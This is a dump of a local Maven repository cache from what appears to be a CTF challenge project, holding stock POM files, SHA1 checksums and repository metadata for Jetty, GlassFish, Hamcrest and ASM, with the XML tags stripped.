http://www.nabble.com/Jetty-Discuss-f60.html Defunct - Jetty Support List http://lists.sourceforge.net/lists/listinfo/jetty-support http://www.nabble.com/Jetty-Support-f61.html Defunct - Jetty Announce List http://lists.sourceforge.net/lists/listinfo/jetty-announce http://www.nabble.com/Jetty---Announce-f2649.html gregw Greg Wilkins gregw@apache.org http://www.mortbay.com/mortbay/people/gregw Mort Bay Consulting http://www.mortbay.com janb Jan Bartel janb@apache.org http://www.mortbay.com/people/janb Mort Bay Consulting http://www.mortbay.com jules Jules Gosnell jules@apache.org jstrachan James Strachan jstrachan@apache.org Logic Blaze http://www.logicblaze.com sbordet Simone Bordet simone.bordet@gmail.com tvernum Tim Vernum tim@adjective.org ngonzalez Nik Gonzalez ngonzalez@exist.com jfarcand Jeanfrancois Arcand jfarcand@apache.org Sun Microsystems http://www.sun.com jesse Jesse McConnell jesse@webtide.org Webtide, LLC http://www.webtide.com -6 djencks David Jencks david_jencks@yahoo.com IBM dyu David Yu david.yu.ftw@gmail.com Webtide http://www.webtide.com ayao Athena Yao yao.athena@gmail.com Webtide http://www.webtide.com jerdfelt Joakim Erdfelt Webtide http://www.webtide.com -7 hmalphett Hugues Malphettes Intalio.com http://www.intalio.com -8 mgorovoy Michael Gorovoy michael@webtide.com Intalio Inc. http://www.intalio.com -5 Apache Software License - Version 2.0 http://www.apache.org/licenses/LICENSE-2.0 Eclipse Public License - Version 1.0 http://www.eclipse.org/org/documents/epl-v10.php Mort Bay Consulting http://www.mortbay.com oss.sonatype.org Jetty Staging Repository http://oss.sonatype.org/service/local/staging/deploy/maven2/ oss.sonatype.org Jetty Snapshot Repository http://oss.sonatype.org/content/repositories/jetty-snapshots/ jetty.eclipse.website scp://dev.eclipse.org:/home/www/jetty/${project.version}/ scm:svn:http://dev.eclipse.org/svnroot/rt/org.eclipse.jetty/jetty-parent/tags/jetty-parent-14 scm:svn:svn+ssh://dev.eclipse.org/svnroot/rt/org.eclipse.jetty/jetty-parent/tags/jetty-parent-14 http://dev.eclipse.org/svnroot/rt/org.eclipse.jetty/jetty-parent/tags/jetty-parent-14 org.apache.maven.plugins maven-enforcer-plugin [2.0.6,) [1.5,) 1.0-alpha-4 enforce-java enforce org.eclipse.jetty.toolchain jetty-enforcer-rules 1.0 org.apache.maven.plugins maven-release-plugin svn+ssh://dev.eclipse.org/svnroot/rt/org.eclipse.jetty/jetty-parent/tags false deploy -Peclipse-release clean install forked-path org.apache.maven.plugins maven-antrun-plugin 1.1 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-5 org.apache.maven.plugins maven-compiler-plugin 2.3 org.apache.maven.plugins maven-dependency-plugin 2.1 org.apache.maven.plugins maven-deploy-plugin 2.5 org.apache.maven.plugins maven-jar-plugin 2.3 org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-jxr-plugin 2.1 org.apache.maven.plugins maven-release-plugin 2.0-beta-7 org.apache.maven.plugins maven-remote-resources-plugin 1.1 org.apache.maven.plugins maven-resources-plugin 2.4.2 org.apache.maven.plugins maven-site-plugin 2.1 org.apache.maven.plugins maven-source-plugin 2.1.1 org.apache.maven.plugins maven-surefire-plugin 2.5 org.apache.maven.plugins maven-war-plugin 2.1-beta-1 org.codehaus.mojo exec-maven-plugin 1.0.1 org.apache.felix maven-bundle-plugin 2.0.0 UTF-8 eclipse-release true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin sign-artifacts verify sign ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/jetty/jetty-parent/14/jetty-parent-14.pom.sha1 ================================================ 17d9344459471ef3d2792e7452ead549809eccc5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/api/api/1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:56 CST 2018 api-1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/api/api/1/api-1.pom ================================================ 4.0.0 org.glassfish pom 2 org.glassfish.api api pom 1 Java EE API modules, usually not built as part of GlassFish scm:svn:https://${java.net.username}@glassfish-svn.dev.java.net/glassfish-svn/trunk/api/ org.apache.maven.plugins maven-jar-plugin true true ${project.groupId} maven-remote-resources-plugin process org.glassfish:legal:1.1 activation connector deployment ejb javaee jms jsp mail management security-api servlet persistence transaction jstl jmac schemas dtds 1.1 1.1 2.5 2.1 1.2 1.2_08 1.4 1.4.1-ea 3.0 1.0.3 1.5 1.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/api/api/1/api-1.pom.sha1 ================================================ 41cb6fc0128a343c17d389a78cf8444ddc99b222 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/pom/2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:56 CST 2018 pom-2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/pom/2/pom-2.pom ================================================ 4.0.0 2.0.4 org.glassfish pom pom 2 GlassFish Master POM http://glassfish.org/ scm:svn:https://kohsuke@svn.dev.java.net/svn/glassfish-svn/tags/pom-2 scm:svn:https://kohsuke@svn.dev.java.net/svn/glassfish-svn/tags/pom-2 CDDL + GPLv2 with classpath exception https://glassfish.dev.java.net/nonav/public/CDDL+GPL.html repo A business-friendly OSS license Sun Microsystems, Inc. http://www.sun.com glassfish-repository Java.net Repository for Glassfish http://download.java.net/maven/glassfish never glassfish-repository-wsinterop Java.net Repository for Glassfish http://maven.dyndns.org/glassfish/ never java-dev-repository Maven 1.x java.dev Snapshot Repository legacy https://maven-repository.dev.java.net/nonav/repository never repo1.maven.org Maven 2 default Repository http://repo1.maven.org/maven2 never maven2.java.net Java.net Repository for Maven 2 http://download.java.net/maven/2 never maven2.java.net-backup Java.net Repository for Maven 2 https://maven2-repository.dev.java.net/nonav/repository never glassfish-repository Java.net Repository for Maven 2 http://download.java.net/maven/glassfish never glassfish-repository-wsinterop Java.net Repository for Glassfish http://maven.dyndns.org/glassfish/ never maven2.java.net Java.net Repository for Maven 2 http://download.java.net/maven/2 never maven2.java.net-wsinterop Java.net Repository for Maven 2 http://maven.dyndns.org/2 never false rator.sfbay dav:http://rator.sfbay/maven/repositories/glassfish/ maven-compiler-plugin 1.5 1.5 org.apache.maven.wagon wagon-webdav 1.0-beta-2 ${user.name} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/glassfish/pom/2/pom-2.pom.sha1 ================================================ 5356bd8674eb5705e11cef4d5792faada5857100 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-core/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 hamcrest-core-1.1.pom>central= hamcrest-core-1.1.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-core/1.1/hamcrest-core-1.1.jar.sha1 ================================================ 860340562250678d1a344907ac75754e259cdb14 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-core/1.1/hamcrest-core-1.1.pom ================================================ 4.0.0 org.hamcrest hamcrest-parent 1.1 hamcrest-core jar Hamcrest Core ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-core/1.1/hamcrest-core-1.1.pom.sha1 ================================================ fe8b54d8729315853ee866322436df89aa8ab9ae ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-parent/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:45 CST 2018 hamcrest-parent-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-parent/1.1/hamcrest-parent-1.1.pom ================================================ 4.0.0 org.hamcrest hamcrest-parent pom 1.1 Hamcrest Parent 2006 Hamcrest http://code.google.com/p/hamcrest BSD style http://www.opensource.org/licenses/bsd-license.php repo scm:svn:https://hamcrest.googlecode.com/svn/tags/hamcrest-packaging-maven-1.1 https://hamcrest.googlecode.com/svn/tags/hamcrest-packaging-maven-1.1 hamcrest-all hamcrest-core hamcrest-generator hamcrest-integration hamcrest-library jmock jmock 1.1.0 provided junit junit 4.0 provided org.easymock easymock 2.2 provided jmock jmock junit junit org.easymock easymock hamcrest@repo1.maven.org Central Maven Repository scp://repo1.maven.org/home/projects/hamcrest/repository org.apache.maven.plugins maven-jar-plugin 2.1 false org.codehaus.mojo.groovy groovy-maven-plugin 1.0-alpha-3 generate-resources execute def ant = new AntBuilder() def script = "${basedir}/src/script/download-jars.sh" def version = "${release.version}" if ( version == "null" ){ println("ERROR: 'release.version' property not set.") } else { println("Using release version ${release.version}") } if ( new File(script).exists() ){ // we are in top-level module println("Found script "+script) ant.exec(executable: script, dir: "${basedir}", spawn: false, failifexecutionfails: true, failonerror: true){ arg(value: "http://hamcrest.googlecode.com/files/") arg(value: "hamcrest-${release.version}.zip" ) arg(value: "target") arg(value: "hamcrest-${release.version}") } } else { // we are in child module ant.copy(file: "${download.artifact.dir}/${artifact.name}.jar", tofile: "${project.build.directory}/downloaded.jar", verbose: true) ant.unjar(src: "${project.build.directory}/downloaded.jar", dest: "${project.build.outputDirectory}") } org.apache.maven.plugins maven-release-plugin 2.0-beta-6 true https://hamcrest.googlecode.com/svn/tags org.apache.maven.wagon wagon-webdav 1.0-beta-2 1.1 target hamcrest-${release.version} ${artifactId}-${release.version} ${basedir}/../${download.dir}/${download.name}/${download.name} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/hamcrest/hamcrest-parent/1.1/hamcrest-parent-1.1.pom.sha1 ================================================ 31ef4ab73bb6d6173f46ecf92d6bd9047516c6ca ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty/6.1.25/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 jetty-6.1.25.jar>central= jetty-6.1.25.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty/6.1.25/jetty-6.1.25.jar.sha1 ================================================ b242826712e0e5146bf57f07394691cf8cb5f5cd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty/6.1.25/jetty-6.1.25.pom ================================================ project org.mortbay.jetty 6.1.25 ../../pom.xml 4.0.0 org.mortbay.jetty jetty Jetty Server Jetty server core org.apache.maven.plugins maven-dependency-plugin copy-deps install copy org.mortbay.jetty servlet-api ${servlet-version} ../../lib maven-antrun-plugin clean clean run copyjar install run org.apache.felix maven-bundle-plugin ${maven-bundle-plugin-version} true manifest org.mortbay.jetty.server J2SE-1.4 http://jetty.mortbay.org !org.mortbay.jetty.*,!org.mortbay.xml.*,!org.mortbay.resource.*,!org.mortbay.io.*,!org.mortbay.servlet.jetty.*,javax.servlet.resources;resolution:=optional,javax.servlet.jsp;resolution:=optional,org.apache.jasper.servlet;resolution:=optional,org.mortbay.jetty.handler.management;resolution:=optional,* org.apache.maven.plugins maven-jar-plugin artifact-jar jar test-jar test-jar ${project.build.outputDirectory}/META-INF/MANIFEST.MF junit junit test org.mortbay.jetty jetty-util ${project.version} org.mortbay.jetty servlet-api ${servlet-version} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty/6.1.25/jetty-6.1.25.pom.sha1 ================================================ 16b0d08cbfec501110726bb96e2783b28d0e771d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:03:04 CST 2018 jetty-parent-10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/10/jetty-parent-10.pom ================================================ org.eclipse.jetty jetty-parent 14 4.0.0 org.mortbay.jetty jetty-parent pom Jetty :: Codehaus Parent Parent pom for Jetty at Codehaus 10 jira http://jira.codehaus.org/browse/JETTY Mort Bay Consulting http://www.mortbay.com scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-10 scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-10 scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-10 org.apache.maven.plugins maven-release-plugin https://svn.codehaus.org/jetty/pom/tags false deploy -Pcodehaus-release clean install codehaus-release true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin sign-artifacts verify sign ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/10/jetty-parent-10.pom.sha1 ================================================ b7bd7f70d9e17ede85e6bd8d4b33d7ffa8ca63f7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:03:13 CST 2018 jetty-parent-7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/7/jetty-parent-7.pom ================================================ 4.0.0 org.mortbay.jetty jetty-parent pom Jetty :: Administrative Parent 7 http://jetty.mortbay.org 1995 jira http://jira.codehaus.org/browse/JETTY Jetty User List http://xircles.codehaus.org/manage_email/user%40jetty.codehaus.org http://xircles.codehaus.org/manage_email/user%40jetty.codehaus.org http://archive.jetty.codehaus.org/user Jetty Developer List http://xircles.codehaus.org/manage_email/dev%40jetty.codehaus.org http://xircles.codehaus.org/manage_email/dev%40jetty.codehaus.org http://archive.jetty.codehaus.org/dev Jetty Announce List http://xircles.codehaus.org/manage_email/announce%40jetty.codehaus.org http://xircles.codehaus.org/manage_email/announce%40jetty.codehaus.org http://archive.jetty.codehaus.org/announce Jetty Commit List http://xircles.codehaus.org/manage_email/scm%40jetty.codehaus.org http://xircles.codehaus.org/manage_email/scm%40jetty.codehaus.org http://archive.jetty.codehaus.org/scm Defunct - Jetty Discuss List http://lists.sourceforge.net/lists/listinfo/jetty-discuss http://www.nabble.com/Jetty-Discuss-f60.html Defunct - Jetty Support List http://lists.sourceforge.net/lists/listinfo/jetty-support http://www.nabble.com/Jetty-Support-f61.html Defunct - Jetty Announce List http://lists.sourceforge.net/lists/listinfo/jetty-announce http://www.nabble.com/Jetty---Announce-f2649.html gregw Greg Wilkins gregw@apache.org http://www.mortbay.com/mortbay/people/gregw Mort Bay Consulting http://www.mortbay.com janb Jan Bartel janb@apache.org http://www.mortbay.com/people/janb Mort Bay Consulting http://www.mortbay.com jules Jules Gosnell jules@apache.org jstrachan James Strachan jstrachan@apache.org Logic Blaze http://www.logicblaze.com sbordet Simone Bordet simone.bordet@gmail.com tvernum Tim Vernum tim@adjective.org ngonzalez Nik Gonzalez ngonzalez@exist.com jfarcand Jeanfrancois Arcand jfarcand@apache.org Sun Microsystems http://www.sun.com jesse Jesse McConnell jesse@webtide.org Webtide, LLC http://www.webtide.com -6 djencks David Jencks david_jencks@yahoo.com IBM dyu David Yu david.yu.ftw@gmail.com Webtide http://www.webtide.com Apache License Version 2.0 http://www.apache.org/licenses/LICENSE-2.0 Mort Bay Consulting http://www.mortbay.com codehaus.org Jetty Snapshot Repository default http://snapshots.repository.codehaus.org true false java.net http://download.java.net/maven/2 default true false m1.java.net http://download.java.net/maven/1 legacy true false codehaus.org Jetty Snapshot Repository default http://snapshots.repository.codehaus.org true false codehaus.org Jetty Repository dav:https://dav.codehaus.org/repository/jetty/ codehaus.org Jetty Snapshot Repository dav:https://dav.codehaus.org/snapshots.repository/jetty/ scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-7 scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-7 scm:svn:https://svn.codehaus.org/jetty/pom/tags/jetty-parent-7 org.apache.maven.wagon wagon-ssh-external ${maven-wagon-version} org.apache.maven.wagon wagon-ssh ${maven-wagon-version} org.apache.maven.wagon wagon-webdav ${maven-wagon-version} org.apache.maven.plugins maven-enforcer-plugin 1.0-alpha-3 enforce-java enforce [2.0.6,) [1.5,) org.apache.maven.plugins maven-release-plugin https://svn.codehaus.org/jetty/pom/tags false deploy -Pcodehaus-release clean install org.apache.maven.plugins maven-antrun-plugin 1.1 org.apache.maven.plugins maven-compiler-plugin 2.0.2 org.apache.maven.plugins maven-dependency-plugin 2.0 org.apache.maven maven-deploy-plugin 2.3 org.apache.maven.plugins maven-jar-plugin 2.2 org.apache.maven maven-javadoc-plugin 2.5 org.apache.maven maven-release-plugin 2.0-beta-7 org.apache.maven maven-remote-resources-plugin 1.0 org.apache.maven maven-site-plugin 2.0-beta-6 org.apache.maven maven-source-plugin 2.0.3 org.apache.maven maven-surefire-plugin 2.4.2 org.apache.maven.plugins maven-war-plugin 2.0.1 org.codehaus.mojo exec-maven-plugin 1.0.1 org.apache.felix maven-bundle-plugin 1.4.0 1.0-beta-2 codehaus-release true org.apache.maven.plugins maven-deploy-plugin ${deploy.altRepository} true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-parent/7/jetty-parent-7.pom.sha1 ================================================ 070ed3160bc4b0ca224b76f828e74e27a133d08e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-util/6.1.25/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 jetty-util-6.1.25.jar>central= jetty-util-6.1.25.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-util/6.1.25/jetty-util-6.1.25.jar.sha1 ================================================ 5527b01ad9c4a12b4101f9ddca31c04ac4fe8614 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-util/6.1.25/jetty-util-6.1.25.pom ================================================ project org.mortbay.jetty 6.1.25 ../../pom.xml 4.0.0 org.mortbay.jetty jetty-util Jetty Utilities Utility classes for Jetty src/test/java **/*Test.java org/mortbay/**/*.xml **/Abstract*.java maven-antrun-plugin clean clean run copyjar install run org.apache.felix maven-bundle-plugin ${maven-bundle-plugin-version} true manifest org.mortbay.jetty.util J2SE-1.4 !org.mortbay.*,org.slf4j;resolution:=optional,* http://jetty.mortbay.org org.apache.maven.plugins maven-jar-plugin ${project.build.outputDirectory}/META-INF/MANIFEST.MF junit junit test org.mortbay.jetty servlet-api ${servlet-version} provided org.slf4j slf4j-api true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/jetty-util/6.1.25/jetty-util-6.1.25.pom.sha1 ================================================ bce386b9ab440e507068020dc87df929d1e56317 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/project/6.1.25/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:03:03 CST 2018 project-6.1.25.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/project/6.1.25/project-6.1.25.pom ================================================ 4.0.0 org.mortbay.jetty jetty-parent 10 org.mortbay.jetty project pom Jetty Server Project 6.1.25 codehaus.org Jetty snapshots default http://snapshots.repository.codehaus.org true false scm:svn:http://svn.codehaus.org/jetty/jetty/branches/jetty-6.1 scm:svn:https://svn.codehaus.org/jetty/jetty/branches/jetty-6.1 http://fisheye.codehaus.org/viewrep/jetty/ install org.apache.maven.plugins maven-enforcer-plugin enforce-java enforce 2.0.6 [1.4,) maven-compiler-plugin true 1.4 1.4 maven-release-plugin https://svn.codehaus.org/jetty/jetty/tags org.apache.maven.plugins maven-jar-plugin 2.1 development ${pom.url} ${pom.version} org.mortbay true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven maven-surefire-plugin 2.3 modules/util modules/util5 modules/jetty modules/jsp-2.1 modules/jsp-api-2.0 modules/jsp-2.0 modules/management modules/start modules/maven-plugin modules/jspc-maven-plugin modules/naming modules/plus modules/html modules/annotations extras/servlet-tester extras/xbean extras/spring extras/sslengine extras/ajp extras/win32service extras/threadpool extras/client extras/jetty-java5-stats examples/test-webapp examples/test-jaas-webapp examples/test-jndi-webapp examples/embedded examples/tests contrib/cometd contrib/jetty-ant contrib/jetty-rewrite-handler contrib/jetty-ldap-jaas contrib/start-daemon contrib/terracotta contrib/sweeper extras/setuid org.apache.maven maven-plugin-tools-api 2.0 junit junit ${junit-version} org.slf4j jcl104-over-slf4j ${slf4j-version} org.slf4j slf4j-simple ${slf4j-version} org.slf4j slf4j-api ${slf4j-version} ant ant ${ant-version} geronimo-spec geronimo-spec-jta ${jta-spec-version} javax.mail mail ${mail-version} javax.activation activation ${activation-version} ${basedir} 2.5-20081211 2.1.v20091210 1.1 1.6.5 1.0.1B-rc4 3.8.2 1.4 1.3.1 1.4.0 2.2 generate-site org.apache.maven.plugins maven-remote-resources-plugin org.mortbay.jetty:jetty-build-resources:1.0.1 org.apache.maven.plugins maven-javadoc-plugin org.apache.*:ebay.*:javax.*:com.sun.*:com.google.*:dojox.*:com.acme.* true false ${project.build.directory}/maven-shared-archive-resources/org/mortbay/jetty/build/resources/javadoc.css http://java.sun.com/javaee/5/docs/api http://java.sun.com/j2se/1.5.0/docs/api ${basedir} javadoc org.apache.maven.plugins maven-jxr-plugin 2.1 true ${basedir}/javadoc ${basedir}/jxr org.apache.maven.plugins maven-project-info-reports-plugin 2.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/project/6.1.25/project-6.1.25.pom.sha1 ================================================ 80c3b0eacdd22e6488a86efffc20e879cbc51e9f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/servlet-api/2.5-20081211/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 servlet-api-2.5-20081211.jar>central= servlet-api-2.5-20081211.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/servlet-api/2.5-20081211/servlet-api-2.5-20081211.jar.sha1 ================================================ 22bff70037e1e6fa7e6413149489552ee2064702 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/servlet-api/2.5-20081211/servlet-api-2.5-20081211.pom ================================================ org.mortbay.jetty jetty-parent 7 4.0.0 org.mortbay.jetty servlet-api 2.5-20081211 Servlet Specification API Servlet Specification API jar scm:svn:http://svn.codehaus.org/jetty/servlet-api/tags/servlet-api-2.5-20081211 scm:svn:https://svn.codehaus.org/jetty/servlet-api/tags/servlet-api-2.5-20081211 scm:svn:https://svn.codehaus.org/jetty/servlet-api/tags/servlet-api-2.5-20081211 install maven-compiler-plugin 1.4 1.4 false org.apache.felix maven-bundle-plugin true manifest 2.5 !javax.servlet.*,* J2SE-1.4 JCP 2.5 org.apache.maven.plugins maven-jar-plugin ${project.build.outputDirectory}/META-INF/MANIFEST.MF maven-release-plugin https://svn.codehaus.org/jetty/servlet-api/tags ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/mortbay/jetty/servlet-api/2.5-20081211/servlet-api-2.5-20081211.pom.sha1 ================================================ 9d00911feeddea2879d48ecf82ebc6da800c8995 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm/4.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 asm-4.1.jar>central= asm-4.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm/4.1/asm-4.1.jar.sha1 ================================================ ad568238ee36a820bd6c6806807e8a14ea34684d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm/4.1/asm-4.1.pom ================================================ 4.0.0 asm-parent org.ow2.asm 4.1 ASM Core asm jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm/4.1/asm-4.1.pom.sha1 ================================================ 14520f912710fa80079305bdcf8d52bd68764b60 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-analysis/4.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 asm-analysis-4.1.jar>central= asm-analysis-4.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-analysis/4.1/asm-analysis-4.1.jar.sha1 ================================================ 73401033069e4714f57b60aeae02f97210aaa64e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-analysis/4.1/asm-analysis-4.1.pom ================================================ 4.0.0 asm-parent org.ow2.asm 4.1 ASM Analysis asm-analysis jar asm-tree org.ow2.asm ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-analysis/4.1/asm-analysis-4.1.pom.sha1 ================================================ f7cedc768009052d59522f8f4976843b84f2c37f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-parent/4.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:58 CST 2018 asm-parent-4.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-parent/4.1/asm-parent-4.1.pom ================================================ ow2 org.ow2 1.3 4.0.0 asm-parent org.ow2.asm 4.1 pom ASM A very small and fast Java bytecode manipulation framework http://asm.objectweb.org/ ObjectWeb http://www.objectweb.org/ 2000 BSD http://asm.objectweb.org/license.html Eric Bruneton ebruneton ebruneton@free.fr Creator Java Developer Eugene Kuleshov eu eu@javatx.org Java Developer Remi Forax forax forax@univ-mlv.fr Java Developer scm:svn:svn://svn.forge.objectweb.org/svnroot/asm/trunk scm:svn:svn+ssh://${maven.username}@svn.forge.objectweb.org/svnroot/asm/trunk http://svn.forge.objectweb.org/cgi-bin/viewcvs.cgi/asm/trunk/ http://forge.objectweb.org/tracker/?group_id=23 asm ${project.groupId} ${project.version} asm-tree ${project.groupId} ${project.version} asm-analysis ${project.groupId} ${project.version} asm-commons ${project.groupId} ${project.version} asm-util ${project.groupId} ${project.version} asm-xml ${project.groupId} ${project.version} ASM Users List sympa@objectweb.org?subject=subscribe%20asm sympa@objectweb.org?subject=unsubscribe%20asm asm@objectweb.org http://www.objectweb.org/wws/arc/asm ASM Team List sympa@objectweb.org?subject=subscribe%20asm-team sympa@objectweb.org?subject=unsubscribe%20asm-team asm-team@objectweb.org http://www.objectweb.org/wws/arc/asm-team ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-parent/4.1/asm-parent-4.1.pom.sha1 ================================================ 2c518e0ccd064f01881bc16aec2c14d429f320ef ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-tree/4.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 asm-tree-4.1.jar>central= asm-tree-4.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-tree/4.1/asm-tree-4.1.jar.sha1 ================================================ 51085abcc4cb6c6e1cb5551e6f999eb8e31c5b2d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-tree/4.1/asm-tree-4.1.pom ================================================ 4.0.0 asm-parent org.ow2.asm 4.1 ASM Tree asm-tree jar asm org.ow2.asm ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-tree/4.1/asm-tree-4.1.pom.sha1 ================================================ 0049fb36ce611fbfb1d11f998022bc697411aca1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-util/4.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 asm-util-4.1.jar>central= asm-util-4.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-util/4.1/asm-util-4.1.jar.sha1 ================================================ 6344065cb0f94e2b930a95e6656e040ebc11df08 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-util/4.1/asm-util-4.1.pom ================================================ 4.0.0 asm-parent org.ow2.asm 4.1 ASM Util asm-util jar asm-tree org.ow2.asm ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/asm/asm-util/4.1/asm-util-4.1.pom.sha1 ================================================ 4354806dc63ac686ae4cec20192d437e9701dfb5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/ow2/1.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:58 CST 2018 ow2-1.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/ow2/ow2/1.3/ow2-1.3.pom ================================================ 4.0.0 org.ow2 ow2 1.3 pom OW2 Consortium The 